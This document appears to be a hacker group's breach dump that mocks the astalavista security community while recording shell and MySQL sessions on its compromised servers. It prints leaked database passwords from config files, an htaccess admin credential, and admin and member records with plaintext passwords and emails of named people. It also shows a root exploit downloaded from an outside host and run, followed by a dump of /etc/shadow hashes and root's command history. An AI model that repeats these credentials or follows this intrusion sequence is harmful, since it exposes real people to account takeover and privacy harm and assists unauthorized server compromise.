| expiration | int(14) unsigned | NO | | 0 | |
|
|
| validity | int(10) unsigned | NO | | 0 | |
|
|
| last_auth | int(14) unsigned | NO | | 0 | |
|
|
| last_activity | int(14) unsigned | NO | | 0 | |
|
|
| email | varchar(255) | YES | | NULL | |
|
|
| email_access | enum('everyone','members_only','nobody') | NO | | nobody | |
|
|
| frontend_lang_id | int(2) unsigned | NO | | 0 | |
|
|
| backend_lang_id | int(2) unsigned | NO | | 0 | |
|
|
| active | tinyint(1) | NO | | 0 | |
|
|
| profile_access | enum('everyone','members_only','nobody') | NO | | members_only | |
|
|
| restore_key | varchar(32) | NO | | | |
|
|
| restore_key_time | int(14) unsigned | NO | | 0 | |
|
|
| u2u_active | enum('0','1') | NO | | 1 | |
|
|
+------------------+------------------------------------------+------+-----+--------------+----------------+
|
|
18 rows in set (0.00 sec)
|
|
|
|
mysql> select username,password,email from contrexx_access_users where is_admin = 1;
|
|
+------------+----------------------------------+-----------------------------+
|
|
| username | password | email |
|
|
+------------+----------------------------------+-----------------------------+
|
|
| system | 0defe9e458e745625fffbc215d7801c5 | info@comvation.com |
|
|
| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | prozac@astalavista.com |
|
|
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | paulo.santos@astalavista.ch |
|
|
| schmid | 0defe9e458e745625fffbc215d7801c5 | ivan.schmid@comvation.com |
|
|
+------------+----------------------------------+-----------------------------+
|
|
4 rows in set (0.04 sec)
|
|
|
|
mysql> exit;
|
|
Bye
|
|
|
|
[~] There you go, your "team of security and IT professionals" is a joke.
|
|
|
|
+------------------------------+
|
|
system:f82BN3+_*
|
|
Be1er0ph0r:belerophor4astacom
|
|
prozac:asta4cms!
|
|
commander:mpbdaagf6m
|
|
sykadul:ak29eral
|
|
+------------------------------+
|
|
|
|
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
|
|
...and the others, find another area to get paid from, security isn't for sale and you obviously fail at it.
|
|
|
|
[~] Lets move to astalavista.net now,
|
|
|
|
From <https://www.astalavista.net/>:
|
|
>> Everyone knows that the best defense is a good offense.
|
|
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
|
|
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
|
|
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking."
|
|
|
|
>> Go ahead, try and hack our server . in a completely legal way!
|
|
>> Learn by doing: We offer our members tricky tasks and challenges on an
|
|
>> ongoing basis so you can test your knowledge and abilities. You can also
|
|
>> demonstrate what you.ve mastered by taking part in regular hacker contests
|
|
>> and war games
|
|
|
|
[~] Lets take a look there, after all... they are hack-proof, aren't they?!
|
|
|
|
[-] Tricky task: Find home dir of astalavista.net
|
|
|
|
sh-3.2$ ls -la ~astanet
|
|
total 48
|
|
drwx--x--x 6 astanet astanet 4096 Dec 23 15:55 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
|
|
-rw------- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
|
|
-rw-r--r-- 1 astanet astanet 33 Dec 17 21:50 .bash_logout
|
|
-rw-r--r-- 1 astanet astanet 176 Dec 17 21:50 .bash_profile
|
|
-rw-r--r-- 1 astanet astanet 124 Dec 17 21:50 .bashrc
|
|
drwx--x--x 3 astanet astanet 4096 Dec 23 12:18 domains
|
|
drwxrwx--- 3 astanet mail 4096 Dec 23 12:18 imap
|
|
drwx------ 2 astanet astanet 4096 Dec 23 12:18 mail
|
|
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
|
|
-rw-r----- 1 astanet mail 34 Dec 22 12:41 .shadow
|
|
|
|
sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
|
|
sh-3.2$ ls -la
|
|
total 200
|
|
drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 .
|
|
drwx--x--x 8 astanet astanet 4096 Dec 23 13:53 ..
|
|
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007
|
|
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
|
|
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 astanet@astalavista.com
|
|
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
|
|
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
|
|
-rw-r--r-- 1 astanet astanet 25724 Apr 4 2006 banner.jpg
|
|
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
|
|
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
|
|
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
|
|
-rw-r--r-- 1 astanet astanet 36 Jan 5 2006 error.php
|
|
-rw-r--r-- 1 astanet astanet 1406 Jan 5 2006 favicon.ico
|
|
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
|
|
drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
|
|
-rw-r--r-- 1 astanet astanet 18 Jan 5 2006 htaccess
|
|
-rw-r--r-- 1 astanet astanet 585 Mar 24 14:50 .htaccess
|
|
-rw-r--r-- 1 astanet astanet 398 Jan 5 2006 index1.php
|
|
-rw-r--r-- 1 astanet astanet 1036 Jan 5 2006 _index.html
|
|
-rw-r--r-- 1 astanet astanet 6880 Dec 23 14:44 index.php
|
|
-rw-r--r-- 1 astanet astanet 676 Mar 21 2006 index_redirect.php
|
|
-rw-r--r-- 1 astanet astanet 739 Feb 24 2006 index.swf
|
|
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
|
|
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
|
|
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
|
|
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
|
|
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
|
|
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
|
|
drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
|
|
-rw-r--r-- 1 astanet astanet 7219 Feb 24 2006 pix1.swf
|
|
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
|
|
-rw-r--r-- 1 astanet astanet 23 Jan 5 2006 robots.txt
|
|
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
|
|
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
|
|
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
|
|
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
|
|
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
|
|
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
|
|
drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
|
|
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
|
|
-rw-r--r-- 1 astanet astanet 35 Dec 4 2006 webcash.php
|
|
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
|
|
|
|
sh-3.2$ head -20 index.php
|
|
<?PHP
|
|
/**
|
|
* Mainfile (external) for astalavistaNET v2.0
|
|
*
|
|
* @copyright Astalavista IT Engineering GmbH
|
|
* @author Thomas Kaelin <thomas.kaelin@astalavista.ch>
|
|
* @version 1.0
|
|
*/
|
|
|
|
if ($_SERVER['PHP_SELF'] == '/webcash.php') {
|
|
$dontStartSession = false;
|
|
} else {
|
|
$dontStartSession = true;
|
|
}
|
|
require_once($_SERVER['DOCUMENT_ROOT'].'/config/com.conf.php');
|
|
require_once($_SERVER['DOCUMENT_ROOT'].'/config/ext.conf.php');
|
|
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].'com.class.php');
|
|
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].'ext.class.php');
|
|
|
|
sh-3.2$ cd config
|
|
sh-3.2$ ls -la
|
|
total 32
|
|
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
|
|
drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
|
|
-rw-r--r-- 1 astanet astanet 987 Aug 11 2006 adm.conf.php
|
|
-rw-r--r-- 1 astanet astanet 4937 Dec 23 15:48 com.conf.php
|
|
-rw-r--r-- 1 astanet astanet 913 Aug 11 2006 cron.conf.php
|
|
-rw-r--r-- 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
|
|
-rw-r--r-- 1 astanet astanet 2724 May 30 2007 int.conf.php
|
|
|
|
sh-3.2$ cat com.conf.php
|
|
[snip]
|
|
//member-database
|
|
$_CONFIG['db_mem_server'] = 'localhost';
|
|
$_CONFIG['db_mem_database'] = 'astanet_membersystem';
|
|
$_CONFIG['db_mem_user'] = 'astanet_db';
|
|
$_CONFIG['db_mem_password'] = 'TXwVrC7hbq';
|
|
$_CONFIG['db_mem_debug'] = false; //true or false
|
|
//ads-database
|
|
$_CONFIG['db_ads_server'] = 'localhost';
|
|
$_CONFIG['db_ads_database'] = 'astanet_ads';
|
|
$_CONFIG['db_ads_user'] = 'astanet_db';
|
|
$_CONFIG['db_ads_password'] = 'TXwVrC7hbq';
|
|
$_CONFIG['db_ads_debug'] = false; //true or false
|
|
//rainbow-database
|
|
$_CONFIG['db_rainbow_server'] = '212.254.194.163';
|
|
$_CONFIG['db_rainbow_database'] = 'rainbow';
|
|
$_CONFIG['db_rainbow_user'] = 'dinu';
|
|
$_CONFIG['db_rainbow_password'] = 'dinudinu';
|
|
$_CONFIG['db_rainbow_debug'] = false; //true or false
|
|
//mailing lists database
|
|
$_CONFIG['db_mailing_lists_server'] = 'localhost';
|
|
$_CONFIG['db_mailing_lists_database'] = 'astanet_mailing_lists';
|
|
$_CONFIG['db_mailing_lists_user'] = 'astanet_db';
|
|
$_CONFIG['db_mailing_lists_password'] = 'TXwVrC7hbq';
|
|
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
|
|
//paypal
|
|
$_CONFIG['sub_pp_url'] = 'https://www.paypal.com/cgi-bin/webscr';
|
|
$_CONFIG['sub_pp_cmd'] = '_xclick';
|
|
$_CONFIG['sub_pp_business'] = 'info@astalavista.net';
|
|
$_CONFIG['sub_pp_noship'] = '1';
|
|
$_CONFIG['sub_pp_referer'] = 'https://www.paypal.com/';
|
|
[snip]
|
|
|
|
sh-3.2$ cd ..
|
|
sh-3.2$ cd member
|
|
sh-3.2$ ls -la
|
|
total 20
|
|
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
|
|
drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
|
|
-rw-r--r-- 1 astanet astanet 19 Jan 13 14:02 .htaccess
|
|
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
|
|
sh-3.2$ cat .htaccess
|
|
SecFilterEngine off
|
|
|
|
sh-3.2$ cd ..
|
|
sh-3.2$ cd cron
|
|
sh-3.2$ ls -la
|
|
total 168
|
|
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
|
|
drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
|
|
-rw-r--r-- 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
|
|
-rw-r--r-- 1 astanet astanet 2356 Aug 11 2006 0_functions.php
|
|
-rw-r--r-- 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
|
|
-rw-r--r-- 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
|
|
-rw-r--r-- 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
|
|
-rw-r--r-- 1 astanet astanet 432 Aug 11 2006 1_weekly.php
|
|
-rw-r--r-- 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
|
|
-rw-r--r-- 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
|
|
-rw-r--r-- 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
|
|
-rw-r--r-- 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
|
|
-rw-r--r-- 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
|
|
-rw-r--r-- 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
|
|
-rw-r--r-- 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
|
|
-rw-r--r-- 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php
|
|
-rw-r--r-- 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
|
|
-rw-r--r-- 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
|
|
-rw-r--r-- 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
|
|
-rw-r--r-- 1 astanet astanet 796 Aug 11 2006 99_create_emails.php
|
|
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
|
|
-rw-r--r-- 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
|
|
-rw-r--r-- 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
|
|
|
|
sh-3.2$ cd ..
|
|
sh-3.2$ cd _007
|
|
sh-3.2$ ls -la
|
|
total 24
|
|
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
|
|
drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
|
|
-rw-r--r-- 1 astanet astanet 96 Dec 23 15:17 .htaccess
|
|
-rw-r--r-- 1 astanet astanet 3263 Jan 15 2007 index.php
|
|
-rw-r--r-- 1 astanet astanet 20 Dec 27 2006 info.php
|
|
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
|
|
|
|
sh-3.2$ cat .htaccess
|
|
authType Basic
|
|
authName Admin
|
|
authUserFile /home/astanet/auth/.htadm_pwd
|
|
require valid-user
|
|
|
|
sh-3.2$ cat /home/astanet/auth/.htadm_pwd
|
|
admin2net:CR0bl65MwhfT
|
|
|
|
sh-3.2$ mysql -u astanet_db -p
|
|
Enter password:
|
|
Welcome to the MySQL monitor. Commands end with ; or \g.
|
|
Your MySQL connection id is 275153
|
|
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
|
|
|
|
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
|
|
|
|
mysql> show databases;
|
|
+-----------------------+
|
|
| Database |
|
|
+-----------------------+
|
|
| information_schema |
|
|
| astanet_ads |
|
|
| astanet_mailing_lists |
|
|
| astanet_mediawiki |
|
|
| astanet_membersystem |
|
|
| test |
|
|
+-----------------------+
|
|
6 rows in set (0.00 sec)
|
|
|
|
mysql> use astanet_membersystem
|
|
Database changed
|
|
mysql> show tables;
|
|
+-----------------------------------+
|
|
| Tables_in_astanet_membersystem |
|
|
+-----------------------------------+
|
|
| blacklist_categories |
|
|
| blacklist_content |
|
|
| blacklist_levels |
|
|
| blacklist_mcset |
|
|
| dir_categories |
|
|
| dir_comments |
|
|
| dir_links |
|
|
| dir_temp |
|
|
| dir_votes |
|
|
| documents |
|
|
| documents_categories |
|
|
| email_content |
|
|
| email_settings |
|
|
| exploits |
|
|
| exploits_categories |
|
|
| exploittree_categories |
|
|
| exploittree_exploits |
|
|
| home_values |
|
|
| iso_countries |
|
|
| links_categories |
|
|
| links_records |
|
|
| links_unauth |
|
|
| links_votes |
|
|
| log |
|
|
| news_categories |
|
|
| news_comments |
|
|
| news_emoticons |
|
|
| news_latest |
|
|
| news_messages |
|
|
| news_statistics |
|
|
| news_votes |
|
|
| prices_content |
|
|
| prices_offers |
|
|
| rss_settings |
|
|
| sessions |
|
|
| stats_signups |
|
|
| u2u2 |
|
|
| u2u_contact |
|
|
| u2u_settings |
|
|
| user_keywords_selected_categories |
|
|
| users |
|
|
| users_ipn_test |
|
|
| users_keyword_values |
|
|
| users_profile |
|
|
| users_temp |
|
|
| users_upgrade |
|
|
+-----------------------------------+
|
|
46 rows in set (0.00 sec)
|
|
|
|
mysql> describe users;
|
|
+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
|
|
| Field | Type | Null | Key | Default | Extra |
|
|
+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
|
|
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
|
|
| user | varchar(50) | NO | | | |
|
|
| nickname | varchar(30) | NO | MUL | anonymous | |
|
|
| password | varchar(30) | NO | | | |
|
|
| userlevel | tinyint(3) | YES | MUL | NULL | |
|
|
| exp | int(8) unsigned | NO | | 0 | |
|
|
| email | varchar(50) | NO | | | |
|
|
| ip | varchar(15) | NO | | 0 | |
|
|
| proxy | set('0','1') | NO | | 0 | |
|
|
| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
|
|
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
|
|
| anz_in | tinyint(1) | NO | | -1 | |
|
|
| status | tinyint(1) unsigned | NO | | 0 | |
|
|
| checked | set('0','1','2') | NO | | 0 | |
|
|
| freemember | set('0','1') | NO | | 0 | |
|
|
| ordertype | set('transfer','wp','pp','mc','CnB') | YES | | NULL | |
|
|
| lang | tinytext | NO | | | |
|
|
| adid | smallint(6) | NO | | 0 | |
|
|
| pp_txn_id | varchar(255) | YES | | NULL | |
|
|
| cnb_transaction_id | varchar(255) | YES | | NULL | |
|
|
| cnb_order_id | varchar(255) | YES | | NULL | |
|
|
| cnb_user_id | int(11) | YES | | 0 | |
|
|
+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
|
|
22 rows in set (0.01 sec)
|
|
|
|
mysql> select count(*) as skids from users;
|
|
+-------+
|
|
| skids |
|
|
+-------+
|
|
| 25199 |
|
|
+-------+
|
|
1 row in set (0.00 sec)
|
|
|
|
mysql> select user,nickname,password,email from users where userlevel = 1;
|
|
+--------------------------+----------------------+------------------+-----------------------------------+
|
|
| user | nickname | password | email |
|
|
+--------------------------+----------------------+------------------+-----------------------------------+
|
|
| pascal | prozac | astaman3 | info@astalavista.net |
|
|
| Ivan Schmid | rOOtless1 | astalavista4asta | ivan.schmid@comvation.com |
|
|
| qreymer | Palermo | qblsw85iam | eche@home.se |
|
|
| Christian Wehrli | g0atherd | hitt?74 | g0atherd@gmx.net |
|
|
| Andrew Blake | Minky | liq73uid | a.blake@har.mrc.ac.uk |
|
|
| Martin Wyss | dinu | kj63;cXy | martin.wyss@astalavista.net |
|
|
| Leandro Nery | Timan_no_Sanco | nery2002 | leandronery@hotmail.com |
|
|
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | shavingryansprivates1@hotmail.com |
|
|
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | spoofedexistence@hotmail.com |
|
|
| David M Lee | Daremo | icG12m03 | daremo@hackerheaven.com |
|
|
| David Corn | akriel | ve3uB$cUku | akriel@fallenroot.net |
|
|
| Thomas Kalin | Gwanun | QwErTy123 | thomas.kaelin@astalavista.net |
|
|
| Marcus unknown | Cra58cker | hhCr4ck06 | unknownmarcus@hotmail.com |
|
|
| David Ellis | dellis203 | philip | dellis@nightwatchnss.com |
|
|
| Lars Christian Solberg | xeor | tF3s4|Nea | xeor@hush.com |
|
|
| Paulo Santos | Be1er0ph0r1 | amor01 | pmsantos@gmx.ch |
|
|
| Thomas D?ppen | daha | asta4tom | thomas.daeppen@astalavista.ch |
|
|
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | toraj.a.m@gmail.com |
|
|
| Fabius Bernet | traviser | wellenreiter100 | fabius.bernet@astalavista.ch |
|
|
| Zachary McElroy | duder1 | dirty245dix | mcelroyzj@yahoo.com |
|
|
| Leron Cohen | cohen2 | leron4free | leron@quiredmedia.com |
|
|
| Beatriz Pontes | anonymous1656 | pitas | joao.pedro.pontes@gmail.com |
|
|
| Glafkos Charalambous | anonymous2086 | si99490178$# | nowayout@webhostline.com |
|
|
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | ivan.schmid@astalavista.ch |
|
|
| Peter Fisher | cyph3r1 | testZer025435 | cyph3r@astalavista.com |
|
|
| sykadul | sykadul | ak29eral | sykadul@gmail.com |
|
|
| Ronny Janzi | commander1 | mpbdaagf6m | ronny.janzi@astalavista.ch |
|
|
+--------------------------+----------------------+------------------+-----------------------------------+
|
|
27 rows in set (0.00 sec)
|
|
|
|
mysql> exit;
|
|
Bye
|
|
|
|
[~] plaintext passwords? yes,
|
|
Those so called "security professionals" who charge you $6.66 / month to
|
|
register at their hack-proof portal, save your passwords in plaintext...
|
|
brilliant!
|
|
|
|
|
|
[~] This been fun but we want more.
|
|
|
|
sh-3.2$ uname -a
|
|
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
|
|
sh-3.2$ wget http://anti.sec.labs/g0troot
|
|
--13:33:37-- http://anti.sec.labs/g0troot
|
|
Resolving anti.sec.labs... 13.33.33.37
|
|
Connecting to anti.sec.labs|13.33.33.37|:80... connected.
|
|
HTTP request sent, awaiting response... 200 OK
|
|
Length: 18200 (18K) [text/plain]
|
|
Saving to: `g0troot'
|
|
|
|
100%[=========================================================================================================================================>] 18,200 58.6K/s in
|
|
0.3s
|
|
|
|
18:55:14 (58.6 KB/s) - `g0troot' saved [18200/18200]
|
|
|
|
sh-3.2$ ./g0troot -i x86_64
|
|
[+] g0troot - anti.sec.labs
|
|
[+] Target: 2.6.18-128.1.10.el5
|
|
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
|
|
|
|
[+] r00tr00t
|
|
[~] Executing shell...
|
|
|
|
sh-3.2# id
|
|
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
|
|
|
sh-3.2# cat /etc/shadow
|
|
root:$1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
|
|
[snip]
|
|
admin:$1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
|
|
jon:$1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
|
|
com:$1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
|
|
astanet:$1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
|
|
|
|
sh-3.2# cat /etc/motd
|
|
#####################################################
|
|
#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
|
|
# |__| [__ | |__| | |__| | | | [__ | |__| #
|
|
# | | ___] | | | |___ | | \/ | ___] | | | #
|
|
# #
|
|
#####################################################
|
|
# #
|
|
# Admin Contact - support@secureservertech.com #
|
|
# #
|
|
# Available ShortCuts #
|
|
# #
|
|
# nst - list active connections #
|
|
# ddos - shows how many times each ip is connected #
|
|
# ltr - restart the webserver #
|
|
# phpc - edit the php config file #
|
|
# htc - edit the webserver configuration file #
|
|
# up - uptime #
|
|
# etd - edit the motd of the day file #
|
|
# htr - start and restart apache if needed #
|
|
# syng - shows active SYN_RECV connections #
|
|
# synd - syn flood blocker - "synd -h" for usage #
|
|
#####################################################
|
|
# NOTES: #
|
|
# Last Upgrade - 12-08-2008 by JF #
|
|
# My.cnf/Mysql Optimization - 1-28-09 #
|
|
# #
|
|
# #
|
|
# #
|
|
#####################################################
|
|
|
|
sh-3.2# lastlog | grep -v Never
|
|
Username Port From Latest
|
|
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
|
|
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
|
|
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
|
|
astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
|
|
|
|
sh-3.2# ls -la
|
|
total 453376
|
|
drwxr-x--- 15 root root 4096 Jun 4 08:40 .
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
|
|
-rw-r--r-- 1 root root 2394400 Oct 19 2007 10mbtest.zip
|
|
-rw------- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
|
|
-rw------- 1 root root 16836 Jun 4 07:21 .bash_history
|
|
-rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout
|
|
-rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile
|
|
-rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc
|
|
-rwx------ 1 root root 1899 Oct 28 2007 bk.sh
|
|
-rw-r--r-- 1 root root 1327 Nov 29 2007 cert
|
|
-rw-r--r-- 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
|
|
drwxr-xr-x 4 root root 4096 May 20 2008 .cpan
|
|
-rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc
|
|
-rw-r--r-- 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
|
|
drwx------ 2 root root 4096 Oct 28 2007 .elinks
|
|
drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
|
|
-rw-r--r-- 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2
|
|
-rw------- 1 root root 0 Apr 16 13:19 .history
|
|
-rw-r--r-- 1 root root 16095 Sep 11 2007 install.log
|
|
-rw-r--r-- 1 root root 2566 Sep 11 2007 install.log.syslog
|
|
-rw-r--r-- 1 root root 1003 Jul 22 2007 install.sh
|
|
-rw------- 1 root root 35 Jun 2 14:23 .lesshst
|
|
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
|
|
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
|
|
-rw-r--r-- 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
|
|
-rw-r--r-- 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2
|
|
-rwx------ 1 root root 760 Sep 18 2008 lp
|
|
drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1
|
|
-rw-r--r-- 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
|
|
-rw-r--r-- 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
|
|
drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
|
|
-rw-r--r-- 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
|
|
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
|
|
-rw-r--r-- 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
|
|
-rw-r--r-- 1 root root 25316 Feb 15 2006 mybk.sh
|
|
-rw------- 1 root root 41 Oct 19 2007 .my.cnf
|
|
-rw------- 1 root root 2902 Jun 4 08:40 .mysql_history
|
|
-rwx------ 1 root root 38873 Apr 16 2008 mysqlreport
|
|
-rw------- 1 root root 41 May 20 2008 .mytop
|
|
drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
|
|
-rw-r--r-- 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
|
|
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
|
|
-rw------- 1 root root 1462 Sep 21 2007 opt.php
|
|
-rw-r--r-- 1 root root 3371 Sep 22 2007 p
|
|
-rw-r--r-- 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
|
|
-rw------- 1 root root 1024 Feb 3 21:32 .rnd
|
|
-rw-r--r-- 1 root root 716 Nov 28 2007 server.csr
|
|
-rw-r--r-- 1 root root 887 Nov 28 2007 server.key
|
|
drwx------ 2 root root 4096 Oct 10 2008 .ssh
|
|
-rw-r--r-- 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
|
|
-rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc
|
|
-rw-r--r-- 1 root root 104874307 Oct 17 2007 test100.zip
|
|
-rw-r--r-- 1 root root 67085540 Oct 19 2007 test100.zip.1
|
|
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp
|
|
-rw-r--r-- 1 root root 42596 May 21 2007 tuning-primer.sh
|
|
drwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
|
|
-rw-r--r-- 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
|
|
-rw------- 1 root root 12997 May 16 2008 .viminfo
|
|
|
|
sh-3.2# cat .bash_history
|
|
[snip]
|
|
wget cp4sst.com/sstlinux.tar.gz
|
|
tar zxvf sstlinux.tar.gz
|
|
cd linux-2.6.27.10
|
|
sh install.sh
|
|
make bzImage ; make modules ; make modules_install ; make install
|
|
make clean
|
|
service mysqld restart
|
|
[snip]
|
|
cd /usr/sbin/
|
|
chmod 4777 traceroute
|
|
chmod 4777 ping
|
|
traceroute -I www.astalavista.ch
|
|
[snip]
|
|
vi /etc/csf/csf.conf
|
|
traceroute google.ch
|
|
service csf restart
|
|
tracert google.ch
|
|
service csf restart
|
|
traceroute www.google.ch
|
|
tracert www.google.ch
|
|
traceroute www.google.ch
|
|
locate traceroute
|
|
chown 4755 /bin/traceroute
|
|
chown 4777 /bin/traceroute
|
|
locate ping
|
|
chown 4755 /bin/ping
|
|
chown 4777 /bin/ping
|
|
cd /bin/
|
|
ls -ali | grep ping
|
|
chown root ping
|
|
chmod 4755 ping
|
|
ls -ali | grep traceroute
|
|
chown root traceroute
|
|
chmod 4755 traceroute
|
|
ls -ali | grep traceroute
|
|
traceroute -I www.google.ch
|
|
traceroute www.google.ch
|
|
whois pmsantos.ch
|
|
[snip]
|
|
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
|
|
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
|
|
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
|
|
